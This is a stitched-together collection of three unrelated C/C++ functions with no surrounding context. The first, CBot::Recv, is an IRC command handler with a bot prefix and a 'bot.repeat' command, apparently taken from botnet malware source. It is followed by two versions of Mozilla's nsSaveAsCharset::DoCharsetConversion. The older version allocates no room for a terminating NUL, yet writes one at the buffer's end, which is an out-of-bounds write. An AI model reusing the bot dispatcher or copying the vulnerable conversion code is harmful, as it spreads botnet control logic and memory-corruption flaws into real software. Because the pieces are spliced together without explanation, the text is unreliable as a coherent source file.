void CBot::Recv(CMessage *pMsg, bool bInternal) { #ifdef DBGCONSOLE if(pMsg->sDest[0]=='#') g_pMainCtrl->m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); else g_pMainCtrl->m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); #endif if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); else pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bOutchan) { CString sOutchan; sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3)); pMsg->sReplyTo.Assign(sOutchan); } pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); // Check if its a bot command by comparing the first byte to the bot_prefix value if(pMsg->sChatString[0]==bot_prefix.sValue[0]) { if(!pMsg->sCmd.Compare("bot.repeat")) { if(!pMsg->sChatString.Token(1, " ").Compare("")) return; int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return; CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); sNewCStr=sNewCStr.Mid(sNewCStr.Find(' ')); pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); if(!bInternal) for(i=0;i<iNum;i++) HandleMsg(pMsg); else for(i=0;i<iNum;i++) HandleMsgInt(pMsg); } else if(!bInternal) HandleMsg(pMsg); else HandleMsgInt(pMsg); } else if(pMsg->sChatString.Token(0, " ").Find(g_pMainCtrl->m_sUserName)) { // botname .command mod - deejayfuzion CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ")); this->Recv(pMsg, bInternal); } else { // fallback handler HandleFallBack(pMsg); } }
NS_IMETHODIMP nsSaveAsCharset::DoCharsetConversion(const char16_t *inString, char **outString) { NS_ENSURE_ARG_POINTER(outString); *outString = nullptr; nsresult rv; int32_t inStringLength = NS_strlen(inString); // original input string length int32_t bufferLength; // allocated buffer length int32_t srcLength = inStringLength; int32_t dstLength; int32_t pos1, pos2; nsresult saveResult = NS_OK; // to remember NS_ERROR_UENC_NOMAPPING // estimate and allocate the target buffer (reserve extra memory for fallback) rv = mEncoder->GetMaxLength(inString, inStringLength, &dstLength); if (NS_FAILED(rv)) return rv; bufferLength = dstLength + RESERVE_FALLBACK_BYTES; // extra bytes for fallback // + 1 is for the terminating NUL -- we don't add that to bufferLength so that // we can always write dstPtr[pos2] = '\0' even when the encoder filled the // buffer. char *dstPtr = (char *) PR_Malloc(bufferLength + 1); if (!dstPtr) { return NS_ERROR_OUT_OF_MEMORY; } for (pos1 = 0, pos2 = 0; pos1 < inStringLength;) { // convert from unicode dstLength = bufferLength - pos2; NS_ASSERTION(dstLength >= 0, "out of bounds write"); rv = mEncoder->Convert(&inString[pos1], &srcLength, &dstPtr[pos2], &dstLength); pos1 += srcLength ? srcLength : 1; pos2 += dstLength; dstPtr[pos2] = '\0'; // break: this is usually the case (no error) OR unrecoverable error if (NS_ERROR_UENC_NOMAPPING != rv) break; // remember this happened and reset the result saveResult = rv; rv = NS_OK; // finish encoder, give it a chance to write extra data like escape sequences dstLength = bufferLength - pos2; rv = mEncoder->Finish(&dstPtr[pos2], &dstLength); if (NS_SUCCEEDED(rv)) { pos2 += dstLength; dstPtr[pos2] = '\0'; } srcLength = inStringLength - pos1; // do the fallback if (!ATTR_NO_FALLBACK(mAttribute)) { uint32_t unMappedChar; if (NS_IS_HIGH_SURROGATE(inString[pos1-1]) && inStringLength > pos1 && NS_IS_LOW_SURROGATE(inString[pos1])) { unMappedChar = SURROGATE_TO_UCS4(inString[pos1-1], inString[pos1]); pos1++; } else { unMappedChar = inString[pos1-1]; } rv = mEncoder->GetMaxLength(inString+pos1, inStringLength-pos1, &dstLength); if (NS_FAILED(rv)) break; rv = HandleFallBack(unMappedChar, &dstPtr, &bufferLength, &pos2, dstLength); if (NS_FAILED(rv)) break; dstPtr[pos2] = '\0'; } } if (NS_SUCCEEDED(rv)) { // finish encoder, give it a chance to write extra data like escape sequences dstLength = bufferLength - pos2; rv = mEncoder->Finish(&dstPtr[pos2], &dstLength); if (NS_SUCCEEDED(rv)) { pos2 += dstLength; dstPtr[pos2] = '\0'; } } if (NS_FAILED(rv)) { PR_FREEIF(dstPtr); return rv; } *outString = dstPtr; // set the result string // set error code so that the caller can do own fall back if (NS_ERROR_UENC_NOMAPPING == saveResult) { rv = NS_ERROR_UENC_NOMAPPING; } return rv; }
NS_IMETHODIMP nsSaveAsCharset::DoCharsetConversion(const PRUnichar *inString, char **outString) { if(nullptr == outString ) return NS_ERROR_NULL_POINTER; NS_ASSERTION(outString, "invalid input"); *outString = NULL; nsresult rv; PRInt32 inStringLength = NS_strlen(inString); // original input string length PRInt32 bufferLength; // allocated buffer length PRInt32 srcLength = inStringLength; PRInt32 dstLength; char *dstPtr = NULL; PRInt32 pos1, pos2; nsresult saveResult = NS_OK; // to remember NS_ERROR_UENC_NOMAPPING // estimate and allocate the target buffer (reserve extra memory for fallback) rv = mEncoder->GetMaxLength(inString, inStringLength, &dstLength); if (NS_FAILED(rv)) return rv; bufferLength = dstLength + 512; // reserve 512 byte for fallback. dstPtr = (char *) PR_Malloc(bufferLength); if (NULL == dstPtr) return NS_ERROR_OUT_OF_MEMORY; for (pos1 = 0, pos2 = 0; pos1 < inStringLength;) { // convert from unicode dstLength = bufferLength - pos2; rv = mEncoder->Convert(&inString[pos1], &srcLength, &dstPtr[pos2], &dstLength); pos1 += srcLength ? srcLength : 1; pos2 += dstLength; dstPtr[pos2] = '\0'; // break: this is usually the case (no error) OR unrecoverable error if (NS_ERROR_UENC_NOMAPPING != rv) break; // remember this happened and reset the result saveResult = rv; rv = NS_OK; // finish encoder, give it a chance to write extra data like escape sequences dstLength = bufferLength - pos2; rv = mEncoder->Finish(&dstPtr[pos2], &dstLength); if (NS_SUCCEEDED(rv)) { pos2 += dstLength; dstPtr[pos2] = '\0'; } srcLength = inStringLength - pos1; // do the fallback if (!ATTR_NO_FALLBACK(mAttribute)) { PRUint32 unMappedChar; if (NS_IS_HIGH_SURROGATE(inString[pos1-1]) && inStringLength > pos1 && NS_IS_LOW_SURROGATE(inString[pos1])) { unMappedChar = SURROGATE_TO_UCS4(inString[pos1-1], inString[pos1]); pos1++; } else { unMappedChar = inString[pos1-1]; } rv = mEncoder->GetMaxLength(inString+pos1, inStringLength-pos1, &dstLength); if (NS_FAILED(rv)) break; rv = HandleFallBack(unMappedChar, &dstPtr, &bufferLength, &pos2, dstLength); if (NS_FAILED(rv)) break; dstPtr[pos2] = '\0'; } } if (NS_SUCCEEDED(rv)) { // finish encoder, give it a chance to write extra data like escape sequences dstLength = bufferLength - pos2; rv = mEncoder->Finish(&dstPtr[pos2], &dstLength); if (NS_SUCCEEDED(rv)) { pos2 += dstLength; dstPtr[pos2] = '\0'; } } if (NS_FAILED(rv)) { PR_FREEIF(dstPtr); return rv; } *outString = dstPtr; // set the result string // set error code so that the caller can do own fall back if (NS_ERROR_UENC_NOMAPPING == saveResult) { rv = NS_ERROR_UENC_NOMAPPING; } return rv; }